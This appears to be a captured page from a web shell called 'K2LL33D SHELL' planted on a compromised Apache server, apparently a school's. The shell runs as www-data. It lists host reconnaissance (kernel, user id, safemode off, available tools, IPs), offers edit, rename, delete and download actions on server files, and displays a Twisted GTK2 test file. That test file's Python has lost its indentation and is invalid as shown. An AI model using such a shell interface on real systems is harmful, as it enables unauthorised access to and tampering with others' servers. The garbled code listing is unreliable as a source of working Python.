K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / lib / python2.7 / dist-packages / twisted / manhole / ui / test /
server ip : 172.67.156.115

your ip : 172.70.80.170

H O M E


Filename/usr/lib/python2.7/dist-packages/twisted/manhole/ui/test/test_gtk2manhole.py
Size1.25 kb
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 09:56
Last modified23-Mar-2009 03:48
Last accessed07-Jul-2025 21:07
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
# Copyright (c) 2009 Twisted Matrix Laboratories.
"""
Tests for GTK2 GUI manhole.
"""

skip = False

try:
import pygtk
pygtk.require("2.0")
except:
skip = "GTK 2.0 not available"
else:
try:
import gtk
except ImportError:
skip = "GTK 2.0 not available"
except RuntimeError:
skip = "Old version of GTK 2.0 requires DISPLAY, and we don't have one."
else:
if gtk.gtk_version[0] == 1:
skip = "Requested GTK 2.0, but 1.0 was already imported."
else:
from twisted.manhole.ui.gtk2manhole import ConsoleInput

from twisted.trial.unittest import TestCase

from twisted.python.reflect import prefixedMethodNames

class ConsoleInputTests(TestCase):
"""
Tests for L{ConsoleInput}.
"""

def test_reverseKeymap(self):
"""
Verify that a L{ConsoleInput} has a reverse mapping of the keysym names
it needs for event handling to their corresponding keysym.
"""
ci = ConsoleInput(None)
for eventName in prefixedMethodNames(ConsoleInput, 'key_'):
keysymName = eventName.split("_")[-1]
keysymValue = getattr(gtk.keysyms, keysymName)
self.assertEqual(ci.rkeymap[keysymValue], keysymName)


skip = skip